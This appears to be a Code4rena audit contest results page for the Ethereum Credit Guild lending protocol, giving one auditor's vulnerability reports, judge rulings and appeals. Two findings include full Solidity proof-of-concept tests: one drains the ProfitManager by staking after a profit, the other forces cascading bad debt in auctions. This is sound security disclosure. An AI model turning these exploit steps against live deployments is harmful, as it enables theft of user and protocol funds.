Platform: Code4rena
Start Date: 11/12/2023
Pot Size: $90,500 USDC
Total HM: 29
Participants: 127
Period: 17 days
Judge: TrungOre
Total Solo HM: 4
Id: 310
League: ETH
Rank: 2/127
Findings: 6
Award: $4,768.39
🌟 Selected for report: 3
🚀 Solo Findings: 1
🌟 Selected for report: Arz
Also found by: 0xStalin, 0xpiken, AlexCzm, Chinmay, HighDuty, Infect3d, JCN, Neon2835, Tendency, TheSchnilch, almurhasan, asui, c47ch3m4ll, critical-or-high, deliriusz, ether_sky, evmboi32, kaden, klau5, santipu_, sl1, zhaojohnson
46.8502 USDC - $46.85
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/GuildToken.sol#L242-L261 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L409-L426
User's are incentivized to stake into gauges by earning rewards when the gauges they staked into experience a profit, i.e. loans in the gauge/term are repaid. A user can stake into a gauge by calling GuildToken::incrementGauge
. Given that the gauge is an active gauge, the execution flow will continue to GuildToken::_incrementGaugeWeight
:
GuildToken::_incrementGaugeWeight#L247-L260
247: uint256 _lastGaugeLoss = lastGaugeLoss[gauge]; 248: uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user]; 249: if (getUserGaugeWeight[user][gauge] == 0) { 250: lastGaugeLossApplied[gauge][user] = block.timestamp; 251: } else { 252: require( 253: _lastGaugeLossApplied >= _lastGaugeLoss, 254: "GuildToken: pending loss" 255: ); 256: } 257: 258: ProfitManager(profitManager).claimGaugeRewards(user, gauge); 259: 260: super._incrementGaugeWeight(user, gauge, weight);
As we can see from the above code, ProfitManager::claimGaugeRewards
will be called before the user's weight is incremented in super._incrementGaugeWeight
. This should have the effect of claiming any pending rewards for the user every time they stake into a gauge. The ProfitManager distributes these rewards based on the gaugeProfitIndex
of the gauge and the userGaugeProfitIndex
of the user:
413: uint256 _userGaugeWeight = uint256( 414: GuildToken(guild).getUserGaugeWeight(user, gauge) 415: ); 416: if (_userGaugeWeight == 0) { 417: return 0; 418: } 419: uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge]; 420: uint256 _userGaugeProfitIndex = userGaugeProfitIndex[user][gauge]; 421: if (_gaugeProfitIndex == 0) { 422: _gaugeProfitIndex = 1e18; 423: } 424: if (_userGaugeProfitIndex == 0) { 425: _userGaugeProfitIndex = 1e18; 426: } 427: uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex; 428: if (deltaIndex != 0) { 429: creditEarned = (_userGaugeWeight * deltaIndex) / 1e18; 430: userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex; 431: }
As shown above, the ProfitManager::claimGaugeRewards
function call will return 0 (and thus perform no updates to any profit indexes) if the user's current weight is 0. If the user is staking into the gauge for the first time (or staking after previously unstaking all their weight) then this function call will not perform anything meaningful. However, this means that the user's profit index is not updated when they first stake into a gauge. The user's profit index will be first updated on line 41, which can only be reached when the claimGaugeRewards
function is called once more after the user staked into the gauge for this first time (after their weight is increased). The user's userGaugeProfitIndex
is thus first initialized to 1e18
.
The user will receive rewards if the gauge's gaugeProfitIndex
is greater than the user's userGaugeProfitIndex
, i.e. if the gaugeProfitIndex
is greater than 1e18
. Therefore, a user is able to stake into a gauge with a large profit index (gaugeProfitIndex > 1e18
) and then immediately trigger the claimGaugeRewards
function once more. Since the user's profit index will be less than the gauge's profit index (gaugeProfitIndex > 1e18 & userGaugeProfitIndex == 1e18
), then the user will be issued a reward despite the fact that the user staked into the gauge after the gauge's profit index was increased, i.e. the user can claim rewards on a gauge by staking into the gauge after it has experienced a profit.
The magnitude of this exploit can be fully appreciated by observing the way the ProfitManager handles the rewards for Guild stakers:
383: if (amountForGuild != 0) { 384: // update the gauge profit index 385: // if the gauge has 0 weight, does not update the profit index, this is unnecessary 386: // because the profit index is used to reattribute profit to users voting for the gauge, 387: // and if the weigth is 0, there are no users voting for the gauge. 388: uint256 _gaugeWeight = uint256( 389: GuildToken(guild).getGaugeWeight(gauge) 390: ); 391: if (_gaugeWeight != 0) { 392: uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge]; 393: if (_gaugeProfitIndex == 0) { 394: _gaugeProfitIndex = 1e18; 395: } 396: gaugeProfitIndex[gauge] = 397: _gaugeProfitIndex + 398: (amountForGuild * 1e18) / 399: _gaugeWeight; 400: }
The above code can be found in the ProfitManager::notifyPnL
function, which is called when a term experiences a loss or a profit. It is important to note that when this function is used to notify a profit it is expected that the appropriate amount of Credit
is forwarded to the ProfitManager. This is due to the fact that the ProfitManager will allocate this profit (Credit
) to the appropriate parties. Some percentage of the Credit
received will be sent to a designated otherRecipient
(if such exists), a percentage will be burned and distributed to Credit rebasers
via Credit::distribute
, a percentage of the profit will remain in the ProfitManager and will be internally allocated towards the global surplus buffer
, and the last percentage of profit, which is intended for the Guild stakers, will also remain in the ProfitManager.
The above code demonstrates how the percentage for the Guild stakers is accounted for. Lines 397 - 399 shows that the ProfitManager updates the gauge's profit index according to the percentage of Credit
allocated towards the stakers (amountForGuild
) and the current weight of the gauge (_gaugeWeight
).
We have already established that a user is able to stake into a gauge after the gauge experiences a profit and be able to claim rewards from the ProfitManager. However, we now see that the amount of Credit
for stakers is calculated based on the weight of the gauge, i.e. the cumulative weight of the stakers that were staked into this gauge at the time that the profit was generated. If a gauge had a total weight of 100e18
at the time the profit was generated, then a user is able to stake 100e18
into this gauge after the fact and will be eligible to claim all of the rewards. Additionally, the ProfitManager houses Credit
that belongs to surplus buffers. Therefore, If the user staked an amount greater than 100e18
, then they will also be able to steal funds directly from the ProfitManager, i.e. Credit
allocated towards the surplus buffers.
A user is able to stake a large amount of Guild into a gauge that has already experienced a profit and steal funds from the ProfitManager. Depending on the amount of Guild staked the user will be able to steal all of the funds from the ProfitManager. This includes rewards meant for Guild stakers and funds allocated towards the surplus buffers (either via direct donations or from user's who staked into gauges via the SurplusGuildMinter
).
Additionally, any stakers who are rightfully due rewards will also not be able to unstake from the gauge until more Credit
flows into the ProfitManager. This is due to the fact that the claimGaugeRewards
function is called for the user when they unstake via Guild::decrementGauge
. When the claimGaugeRewards
function is triggered the ProfitManager will attempt to transfer Credit
to the user (for their reward), but the call will revert since the ProjectManager will no longer have a Credit
balance. Note that this can be mitigated by manually transferring Credit
to the ProfitManager for the stakers
Moreover, this will also allow the following scenario to arise:
A gauge experiences profits and therefore its gaugeProfitIndex
increases. The gauge is then offboarded. The gauge is re-onboarded in the future and still has the same increased gaugeProfitIndex
. A user is therefore able to immediately stake into this gauge (for the first time) and then call the claimGaugeRewards
function. This will allow the user to extract non-existent
rewards for the gauge despite the fact that the gauge has not experienced a profit since being re-onboarded. The funds extracted would therefore be coming from funds allocated towards the surplus buffers in the ProfitManager.
The following tests describe both of the situations outlined above:
Place the following tests inside of test/unit/governance/ProfitManager.t.sol
:
function testStealRewardsDrainProfitManager() public { // grant roles to test contract vm.startPrank(governor); core.grantRole(CoreRoles.GOVERNOR, address(this)); core.grantRole(CoreRoles.CREDIT_MINTER, address(this)); core.grantRole(CoreRoles.GUILD_MINTER, address(this)); core.grantRole(CoreRoles.GAUGE_ADD, address(this)); core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this)); core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this)); vm.stopPrank(); // setup // 50-50 profit split between GUILD & CREDIT vm.prank(governor); profitManager.setProfitSharingConfig( 0, // surplusBufferSplit 0.5e18, // creditSplit 0.5e18, // guildSplit 0, // otherSplit address(0) // otherRecipient ); // set up gauge guild.setMaxGauges(1); guild.addGauge(1, gauge1); // ProfitManager already has 20 credit from other actions credit.mint(address(profitManager), 20e18); // alice has 50 GUILD guild.mint(alice, 50e18); // bob has 150 GUILD guild.mint(bob, 150e18); // alice stakes into gauge before profit is generated vm.startPrank(alice); guild.incrementGauge(gauge1, 50e18); vm.stopPrank(); // simulate 20 profit on gauge // 10 goes to alice (guild voting) // 10 goes to test (rebasing credit) credit.mint(address(profitManager), 20e18); assertEq(credit.balanceOf(address(profitManager)), 40e18); profitManager.notifyPnL(gauge1, 20e18); assertEq(credit.balanceOf(address(profitManager)), 30e18); // 10 credit burned for rebase rewards // bob stakes into gauge after profit has been generated vm.startPrank(bob); guild.incrementGauge(gauge1, 150e18); vm.stopPrank(); // bob balance before expoit is 0 credit emit log_named_uint("Bob's Balance Before Exploit", credit.balanceOf(bob)); // ProfitManager balance before exploit is 30 credit emit log_named_uint("Profit Manager Balance Before Exploit", credit.balanceOf(address(profitManager))); // bob drains the profit manager assertEq(profitManager.claimRewards(bob), 30e18); assertEq(credit.balanceOf(address(profitManager)), 0); assertEq(credit.balanceOf(bob), 30e18); // bob balance after expoit is 30 credit emit log_named_uint("Bob's Balance Before Exploit", credit.balanceOf(bob)); // Profit Manager balance after the exploit is 0 emit log_named_uint("Profit Manager Balance After Exploit", credit.balanceOf(address(profitManager))); // alice tries to claim rewards but call reverts since Profit Manager has no more credit vm.expectRevert("ERC20: transfer amount exceeds balance"); profitManager.claimRewards(alice); // alice tries to unstake from the gauge, but call reverts vm.startPrank(alice); vm.expectRevert("ERC20: transfer amount exceeds balance"); guild.decrementGauge(gauge1, 50e18); vm.stopPrank(); } function testClaimNonExistentRewardsDrainProfitManager() public { // grant roles to test contract vm.startPrank(governor); core.grantRole(CoreRoles.GOVERNOR, address(this)); core.grantRole(CoreRoles.CREDIT_MINTER, address(this)); core.grantRole(CoreRoles.GUILD_MINTER, address(this)); core.grantRole(CoreRoles.GAUGE_ADD, address(this)); core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this)); core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this)); core.grantRole(CoreRoles.GAUGE_REMOVE, address(this)); vm.stopPrank(); // setup // 50-50 profit split between GUILD & CREDIT vm.prank(governor); profitManager.setProfitSharingConfig( 0, // surplusBufferSplit 0.5e18, // creditSplit 0.5e18, // guildSplit 0, // otherSplit address(0) // otherRecipient ); // set up gauge (onboarded) guild.setMaxGauges(1); guild.addGauge(1, gauge1); // alice has 50 GUILD guild.mint(alice, 50e18); // bob has 150 GUILD guild.mint(bob, 150e18); // alice stakes into gauge before profit is generated vm.startPrank(alice); guild.incrementGauge(gauge1, 50e18); vm.stopPrank(); // simulate 20 profit on gauge // 10 goes to alice (guild voting) // 10 goes to test (rebasing credit) credit.mint(address(profitManager), 20e18); profitManager.notifyPnL(gauge1, 20e18); assertEq(credit.balanceOf(address(profitManager)), 10e18); // 10 credit burned for rebase rewards // alice claimes rewards assertEq(profitManager.claimRewards(alice), 10e18); assertEq(credit.balanceOf(address(profitManager)), 0); // gauge is offboarded guild.removeGauge(gauge1); assertEq(guild.isGauge(gauge1), false); // Time passes & ProfitManager acquires Credit through other means (donations, profit from other terms, via SurplusGuildMinter stakers, etc...) vm.roll(block.number + 100); credit.mint(address(profitManager), 30e18); // gauge is re-onboarded guild.addGauge(1, gauge1); assertEq(guild.isGauge(gauge1), true); // bob stakes into gauge vm.startPrank(bob); guild.incrementGauge(gauge1, 150e18); vm.stopPrank(); // bob claims rewards eventhough no profit has been generated for the gauge assertEq(profitManager.claimRewards(bob), 30e18); assertEq(credit.balanceOf(address(profitManager)), 0); }
manual
The profit index of a user who is staking into a gauge for the first time (i.e. their weight is going from 0 to > 0
) should be initialized to the gauge's profit index.
Note that this is done properly in the SurplusGuildMinter
:
SurplusGuildMinter.sol#L136-L147
GuildToken(guild).incrementGauge(term, guildAmount); // update state userStake = UserStake({ stakeTime: SafeCastLib.safeCastTo48(block.timestamp), lastGaugeLoss: SafeCastLib.safeCastTo48(lastGaugeLoss), profitIndex: SafeCastLib.safeCastTo160( ProfitManager(profitManager).userGaugeProfitIndex( address(this), term ) ),
As seen above, when a user stakes into the SGM the user's profit index is initialized to the profit index of the SGM.
Other
#0 - c4-pre-sort
2024-01-02T20:32:25Z
0xSorryNotSorry marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-01-02T20:32:34Z
0xSorryNotSorry marked the issue as duplicate of #1211
#2 - c4-judge
2024-01-29T03:55:41Z
Trumpero marked the issue as satisfactory
#3 - 0xJCN
2024-02-01T16:49:10Z
Hi @Trumpero,
I understand that labeling a report as selected for report
is subjective, but I would like to present my case as to why I believe it would be more appropriate to label this report as selected for report
instead of 1194:
Although the root cause was identified in both this report and report 1194, this report has identified and demonstrated how this root cause can be leveraged to drain all the funds from the ProfitManager
(see POC in this report). However, issue 1194 has only demonstrated how to leverage this root cause in order to steal all rewards. According to the supreme-court-decisions-fall-2023:
The requisites of a full mark report are:
- Identification and demonstration of the root cause
- Identification and demonstration of the maximum achievable impact of the root cause
I believe this report has satisfied both of the requisites listed above by explicitly identifying and demonstrating the maximum achievable impact of the root cause
(all funds can be drained from the profit manager), while report 1194 has not explicitly identified nor demonstrated this maximum impact.
Thank you for taking the time to read my comment.
#4 - Trumpero
2024-02-07T12:29:50Z
@0xJCN I don't agree that this issue has a higher impact than #1194, since the funds in ProfitManager are not users' funds, they are specifically the rewards (profits from loans). This report provides more exploit vectors with long details, which are unnecessary to improve the quality of the report in this case. For this simple vulnerability, there are many attack vectors or scenarios to exploit, so clarity and insight in the report are more valuable in my evaluation. Therefore, for this issue, I consider #1194 to be better than this report for selection.
371.9922 USDC - $371.99
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L751-L768 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L664-L668
The creation of bad debt results in the mark down
of Credit
, i.e. Credit
experiences inflation. This is done so that the protocol can adjust to the bad debt that was produced. It follows that when Credit
is marked down all active loans can be considered marked up
, meaning that the borrowers will be expected to repay with more Credit
, since Credit
is now worth less. We can observe how this is done by examining the LendingTerm::getLoanDebt
function:
LendingTerm::getLoanDebt#L216-L230
216: // compute interest owed 217: uint256 borrowAmount = loan.borrowAmount; 218: uint256 interest = (borrowAmount * 219: params.interestRate * 220: (block.timestamp - borrowTime)) / 221: YEAR / 222: 1e18; 223: uint256 loanDebt = borrowAmount + interest; 224: uint256 _openingFee = params.openingFee; 225: if (_openingFee != 0) { 226: loanDebt += (borrowAmount * _openingFee) / 1e18; 227: } 228: uint256 creditMultiplier = ProfitManager(refs.profitManager) 229: .creditMultiplier(); 230: loanDebt = (loanDebt * loan.borrowCreditMultiplier) / creditMultiplier;
As we can see above, the debt of a borrower (principle + interests) is adjusted by the creditMultiplier
. This creditMultiplier
starts at 1e18
and gets marked down
when bad debt is produced in the system. The loan.borrowCreditMultiplier
is the creditMultiplier
value at the time that the user took out the loan. Therefore, this function calculates the adjusted debt of a borrower with respect to the amount of bad debt that was produced (inflation of Credit
) since the borrower took out the loan. This function is called every time a borrower makes a payment for their loan, ensuring that the appropriate debt is always considered. However, this function is only called once during the entire auction process:
664: // update loan in state 665: uint256 loanDebt = getLoanDebt(loanId); 666: loans[loanId].callTime = block.timestamp; 667: loans[loanId].callDebt = loanDebt; 668: loans[loanId].caller = caller;
The above code is taken from the _call
function, which is the starting point for an auction. When a loan misses a required partialPayment
or the term is offboarded, this function can be permissionlessly called. As we can see, the debt of the loan is read from the getLoanDebt
function and then stored in the loan
struct in the callDebt
field. This means that the callDebt
represents a snapshot of the debt at block.timestamp
. Therefore, the callDebt
is the loan debt with respect to the creditMultiplier
valued at the time that the loan was called. What if the creditMultiplier
gets updated after the auction process begins? This would result in the callDebt
of the loan being less than what the actual debt of the loan should be (Credit
is worth less, but the collateral is worth the same). We can understand the true magnitude of this discrepancy by observing the LendingTerm::onBid
function:
750: // compute pnl 751: uint256 creditMultiplier = ProfitManager(refs.profitManager) 752: .creditMultiplier(); 753: uint256 borrowAmount = loans[loanId].borrowAmount; 754: uint256 principal = (borrowAmount * 755: loans[loanId].borrowCreditMultiplier) / creditMultiplier; 756: int256 pnl; 757: uint256 interest; 758: if (creditFromBidder >= principal) { 759: interest = creditFromBidder - principal; 760: pnl = int256(interest); 761: } else { 762: pnl = int256(creditFromBidder) - int256(principal); 763: principal = creditFromBidder; 764: require( 765: collateralToBorrower == 0, 766: "LendingTerm: invalid collateral movement" 767: ); 768: }
As we can see above, the principle
of the loan is calcualted with respect to the current creditMultiplier
. The creditFromBidder
is the callDebt
when the auction is in its first phase:
AuctionHouse::getBidDetail#L133-L136
133: // first phase of the auction, where more and more collateral is offered 134: if (block.timestamp < _startTime + midPoint) { 135: // ask for the full debt 136: creditAsked = auctions[loanId].callDebt;
This is where the issue lies. Remember, the callDebt
represents a snapshot of the loan debt at the time which the loan was called. The callDebt
does not consider a potential updated creditMultiplier
. Therefore, if a mark down
is generated that results in principle > creditFromBidder
, then execution of the onBid
function would continue on line 762. This will result in a negative pnl
being calculated, which ultimately means that this gauge will experience a loss. However, if the collateralToBorrower
is not 0, the function will revert. Therefore, when the principle
is greater than the callDebt
, due to the mark down
of Credit
, the auction can only receive a bid if the collateralToBorrower
is 0. Let us observe the AuctionHouse::bid
and AuctionHouse::getBidDetail
functions in order to understand what scenario would result in collateralToBorrower == 0
:
169: (uint256 collateralReceived, uint256 creditAsked) = getBidDetail( 170: loanId 171: ); 172: require(creditAsked != 0, "AuctionHouse: cannot bid 0"); ... 180: LendingTerm(_lendingTerm).onBid( 181: loanId, 182: msg.sender, 183: auctions[loanId].collateralAmount - collateralReceived, // collateralToBorrower 184: collateralReceived, // collateralToBidder 185: creditAsked // creditFromBidder 186: );
As seen above, the onBidDetail
function is invoked to retrieve the necessary collateralReceived
and creditAsked
values. The onBid
function is then invoked and the collateralToBorrower
is equal to the collateralAmount - collateralReceived
. The collateralAmount
is the full collateral of the loan. Therefore, if the collateralReceived == collateralAmount
, we will have satisfied the following condition: collateralToBorrower == 0
. This is exactly what occurs during the second phase of an auction:
AuctionHouse::getBidDetail#L143-L146
143: // second phase of the auction, where less and less CREDIT is asked 144: else if (block.timestamp < _startTime + auctionDuration) { 145: // receive the full collateral 146: collateralReceived = auctions[loanId].collateralAmount;
Therefore, given the situation where a loan is placed in auction and then a large enough mark down
of Credit
occurs, such that principle > creditFromBidder
, only bids occuring during the second phase of the auction will be allowed. In addition, given that principle > creditFromBidder
, bad debt will also be produced in this auction.
Lets briefly discuss what scenarios would result in principle > callDebt
. Reminder: The callDebt
represents the maximum value that creditFromBidder
can be. The callDebt
is a snapshot of the full debt of a borrower (principle + interests). Therefore, if the mark down
results in a percent decrease of Credit
greater than the interest of the borrower's loan, then the adjusted principle
will be greater than the callDebt
. Consider the following situation:
A term has an interest rate of 4%. The term has multiple loans opened and the term is being off-boarded after half a year. Lets assume no loans have been paid off during this time. Therefore, the interest for all loans is ~2%. Suppose a loan undergoes auction before other loans are called and this loan results in the creation of bad debt (worse case scenario), which results in a mark down
> 2%. All other loans that are in auction during this mark down
will be forced to create bad debt since the adjusted principle
for all loans in auction will be greater than the loans' callDebt
.
The creation of bad debt has the potential to force other loans to create additional bad debt if the following conditions are met:
mark down
mark down
is greater than the interest owed for the loansThis can greatly impact the health of the protocol as the Credit
token is used for all core functionalities. A mark down
is a mechanism to allow the system to properly adjust to the creation of bad debt, however I would argue that the creation of bad debt should not result in other loans being forced to produce losses which can ultimately produce more bad debt.
This has the ability to affect loans in other terms as well. All loans in auction during the mark down
, originating from any term in the market, can potentially be forced to produce a loss/bad debt. The magnitude of this additional mark down
of Credit
will be greater if the affected loans have relatively low interest accrued and a large borrow amount.
Secondary effects are that no user's will be able to bid during the first phase of the auction. This first phase is meant to be an opportunity for the borrower to properly repay their full debt before the second phase begins, where the borrower can potentially be out-bid by another liquidator and lose the opportunity to receive their collateral.
The following test demonstrates the scenario described above in which a mark down
of Credit
results in other loans in auction being forced to create additional bad debt.
Place the test inside of the test/unit/loan/
directory:
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.13; import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol"; import {Test} from "@forge-std/Test.sol"; import {Core} from "@src/core/Core.sol"; import {CoreRoles} from "@src/core/CoreRoles.sol"; import {MockERC20} from "@test/mock/MockERC20.sol"; import {SimplePSM} from "@src/loan/SimplePSM.sol"; import {GuildToken} from "@src/tokens/GuildToken.sol"; import {CreditToken} from "@src/tokens/CreditToken.sol"; import {LendingTerm} from "@src/loan/LendingTerm.sol"; import {AuctionHouse} from "@src/loan/AuctionHouse.sol"; import {ProfitManager} from "@src/governance/ProfitManager.sol"; import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol"; contract BadDebtCreatesBadDebt is Test { address private governor = address(1); address private guardian = address(2); address staker = address(0x01010101); address borrower = address(0x02020202); address lender = address(0x03030303); Core private core; ProfitManager private profitManager; CreditToken credit; GuildToken guild; MockERC20 collateral; MockERC20 pegToken; SimplePSM private psm; RateLimitedMinter rlcm; AuctionHouse auctionHouse; LendingTerm term; // LendingTerm params (same as deployment script) uint256 constant _CREDIT_PER_COLLATERAL_TOKEN = 1e18; // 1:1 uint256 constant _INTEREST_RATE = 0.04e18; // 4% APR uint256 constant _MAX_DELAY_BETWEEN_PARTIAL_REPAY = 0; uint256 constant _MIN_PARTIAL_REPAY_PERCENT = 0; uint256 constant _HARDCAP = 2_000_000e18; // 2 million uint256 public issuance = 0; function setUp() public { vm.warp(1679067867); vm.roll(16848497); core = new Core(); profitManager = new ProfitManager(address(core)); collateral = new MockERC20(); pegToken = new MockERC20(); // 18 decimals for easy calculations (deployment script uses USDC which has 6 decimals) credit = new CreditToken(address(core), "name", "symbol"); guild = new GuildToken( address(core), address(profitManager) ); rlcm = new RateLimitedMinter( address(core) /*_core*/, address(credit) /*_token*/, CoreRoles.RATE_LIMITED_CREDIT_MINTER /*_role*/, 0 /*_maxRateLimitPerSecond*/, 0 /*_rateLimitPerSecond*/, uint128(_HARDCAP) /*_bufferCap*/ ); auctionHouse = new AuctionHouse(address(core), 650, 1800); term = LendingTerm(Clones.clone(address(new LendingTerm()))); term.initialize( address(core), LendingTerm.LendingTermReferences({ profitManager: address(profitManager), guildToken: address(guild), auctionHouse: address(auctionHouse), creditMinter: address(rlcm), creditToken: address(credit) }), LendingTerm.LendingTermParams({ collateralToken: address(collateral), maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN, interestRate: _INTEREST_RATE, maxDelayBetweenPartialRepay: _MAX_DELAY_BETWEEN_PARTIAL_REPAY, minPartialRepayPercent: _MIN_PARTIAL_REPAY_PERCENT, openingFee: 0, hardCap: _HARDCAP }) ); psm = new SimplePSM( address(core), address(profitManager), address(credit), address(pegToken) ); profitManager.initializeReferences(address(credit), address(guild), address(psm)); // roles core.grantRole(CoreRoles.GOVERNOR, governor); core.grantRole(CoreRoles.GUARDIAN, guardian); core.grantRole(CoreRoles.CREDIT_MINTER, address(this)); core.grantRole(CoreRoles.GUILD_MINTER, address(this)); core.grantRole(CoreRoles.GAUGE_ADD, address(this)); core.grantRole(CoreRoles.GAUGE_REMOVE, address(this)); core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this)); core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm)); core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term)); core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term)); core.grantRole(CoreRoles.CREDIT_MINTER, address(psm)); core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(psm)); core.renounceRole(CoreRoles.GOVERNOR, address(this)); // add gauge guild.setMaxGauges(10); guild.addGauge(1, address(term)); } function testBadDebtCreatesBadDebt() public { // staker increases term debtCeiling guild.mint(staker, 1000e18); vm.startPrank(staker); guild.incrementGauge(address(term), 1000e18); vm.stopPrank(); assertEq(guild.getGaugeWeight(address(term)), 1000e18); // term has 12 active loans all with various borrow sizes (1_000_000 in total loans) // 1st loan = 80_000e18 collateral.mint(borrower, 1_000_000e18); uint256[] memory borrowAmounts = new uint256[](11); bytes32[] memory loanIds = new bytes32[](11); borrowAmounts[0] = 1_000e18; borrowAmounts[1] = 5_000e18; borrowAmounts[2] = 10_000e18; borrowAmounts[3] = 25_000e18; borrowAmounts[4] = 100_000e18; borrowAmounts[5] = 50_000e18; borrowAmounts[6] = 300_000e18; borrowAmounts[7] = 18_000e18; borrowAmounts[8] = 90_000e18; borrowAmounts[9] = 250_000e18; borrowAmounts[10] = 71_000e18; vm.prank(borrower); collateral.approve(address(term), 1_000_000e18); // create 1st loan (loan that will create bad debt) bytes32 loanId; vm.startPrank(borrower); loanId = term.borrow(80_000e18, 80_000e18); vm.roll(block.number + 1); vm.warp(block.timestamp + 13); vm.stopPrank(); // create the rest of the loans (loans that will be forced to create bad debt) for (uint256 i; i < borrowAmounts.length; i++) { vm.startPrank(borrower); loanIds[i] = term.borrow(borrowAmounts[i], borrowAmounts[i]); vm.roll(block.number + 1); vm.warp(block.timestamp + 13); vm.stopPrank(); } assertEq(term.issuance(), 1_000_000e18); assertEq(credit.balanceOf(borrower), 1_000_000e18); assertEq(credit.totalSupply(), 1_000_000e18); // lenders supply 1_000_000 pegToken in psm (credit.totalSupply == 2_000_000) pegToken.mint(lender, 1_000_000e18); vm.startPrank(lender); pegToken.approve(address(psm), 1_000_000e18); psm.mintAndEnterRebase(1_000_000e18); vm.stopPrank(); assertEq(credit.totalSupply(), 2_000_000e18); // half a year later all loans accrued ~2% interest vm.warp(block.timestamp + (term.YEAR() / 2)); // term is offboarded guild.removeGauge(address(term)); assertEq(guild.isGauge(address(term)), false); // one loan is called before the others and it creates bad debt (markdown > % interest owed by other loans) term.call(loanId); // no ones bids and loan creates bad debt (worse case scenario) vm.warp(block.timestamp + auctionHouse.auctionDuration()); (, uint256 creditAsked) = auctionHouse.getBidDetail(loanId); assertEq(creditAsked, 0); // phase 2 ended // all loans called via callMany right before bad debt + markdown occurs // to demonstrate that any auctions live while markdown occured would be affected (including auctions in diff terms) term.callMany(loanIds); // bad debt created, i.e. markdown of 4% // note that for demonstration purposes there are no surplus buffers auctionHouse.forgive(loanId); assertEq(term.issuance(), 1_000_000e18 - 80_000e18); assertEq(credit.totalSupply(), 2_000_000e18); assertEq(profitManager.creditMultiplier(), 0.96e18); // credit marked down // no one can bid during phase 1 of any other loans that were in auction when the markdown occured // due to principle > creditFromBidder, therefore collateral to borrower must be 0, i.e. all collateral is offered, i.e. must be phase 2 for (uint256 i; i < loanIds.length; i++) { ( , creditAsked) = auctionHouse.getBidDetail(loanIds[i]); // verify we are in phase 1 (creditAsked == callDebt) assertEq(auctionHouse.getAuction(loanIds[i]).callDebt, creditAsked); // attempt to bid during phase 1 credit.mint(address(this), creditAsked); credit.approve(address(term), creditAsked); vm.expectRevert("LendingTerm: invalid collateral movement"); auctionHouse.bid(loanIds[i]); } // fast forward to the beginning of phase 2 vm.warp(block.timestamp + auctionHouse.midPoint()); vm.roll(block.number + 1); // all other loans that are in auction will be forced to only receive bids in phase 2 // bad debt is gauranteed to be created for all these loans, so user's are incentivized to // bid at the top of phase 2. This would result in the liquidator receiving the collateral at a discount. // The loans with less accrued interest and a bigger principle/borrow amount will result in a bigger loss, i.e. greater markdown emit log_named_uint("creditMultiplier before updates", profitManager.creditMultiplier()); uint256 collateralReceived; for (uint256 i; i < loanIds.length; i++) { (collateralReceived, creditAsked) = auctionHouse.getBidDetail(loanIds[i]); // verify we are at the top of phase 2 (collateralReceived == collateralAmount | creditAsked == callDebt) assertEq(auctionHouse.getAuction(loanIds[i]).callDebt, creditAsked); assertEq(auctionHouse.getAuction(loanIds[i]).collateralAmount, collateralReceived); // bid at top of phase two (bidder receives collateral at a discount & protocol incurs more bad debt) credit.mint(address(this), creditAsked); credit.approve(address(term), creditAsked); auctionHouse.bid(loanIds[i]); multiplierUpdated(); } } function multiplierUpdated() internal { // credit multiiplier decreases which each auction uint256 multiiplier = profitManager.creditMultiplier(); emit log_named_uint("creditMultiplier updated", multiiplier); } }
manual
Credit
debt is calculated in most areas of the system with respect to the current multiplier, except for during the auction process. I would suggest calculating the callDebt
dynamically with respect to the current creditMultiplier
during the auction process instead of having it represent a 'snapshot' of the borrower's debt.
Other
#0 - c4-pre-sort
2024-01-05T14:53:54Z
0xSorryNotSorry marked the issue as high quality report
#1 - 0xSorryNotSorry
2024-01-05T14:54:00Z
The issue is well demonstrated, properly formatted, contains a coded POC. Marking as HQ.
#2 - c4-pre-sort
2024-01-05T14:54:15Z
0xSorryNotSorry marked the issue as duplicate of #1069
#3 - c4-judge
2024-01-29T19:50:10Z
Trumpero marked the issue as satisfactory
#4 - c4-judge
2024-01-31T13:44:24Z
Trumpero changed the severity to 3 (High Risk)
#5 - 0xJCN
2024-02-01T16:49:07Z
Hi @Trumpero,
I understand that labeling a report as selected for report
is subjective, however considering the fact that this report contains a coded POC while #1069 does not, I would like to ask you to consider this report for the selected for report
label instead.
Thank you for taking the time to read my comment.
#6 - Trumpero
2024-02-07T12:20:59Z
@0xJCN I agree this issue should be selected for report instead of #1069 due to its PoC test.
#7 - c4-judge
2024-02-07T12:21:07Z
Trumpero marked the issue as selected for report
#8 - stalinMacias
2024-02-07T17:25:35Z
@Trumpero Quick question, all of the reports that were duplicates of #1069 will now also be updated to be a duplicate of this one, right?
371.9922 USDC - $371.99
Judge has assessed an item in Issue #556 as 3 risk. The relevant finding follows:
mark down
allow borrowers to payback their loan at a discount, leaking value from the protocolA loan's debt during auction represents a snapshot
of the debt at a previous creditMultiplier
value:
664: // update loan in state 665: uint256 loanDebt = getLoanDebt(loanId); 666: loans[loanId].callTime = block.timestamp; 667: loans[loanId].callDebt = loanDebt;
As seen above, line 665 performs a call to getLoanDebt
, which retrieve's the loan's current debt with respect to the current creditMultiplier
:
LendingTerm::getLoanDebt#L228-L230
228: uint256 creditMultiplier = ProfitManager(refs.profitManager) 229: .creditMultiplier(); 230: loanDebt = (loanDebt * loan.borrowCreditMultiplier) / creditMultiplier;
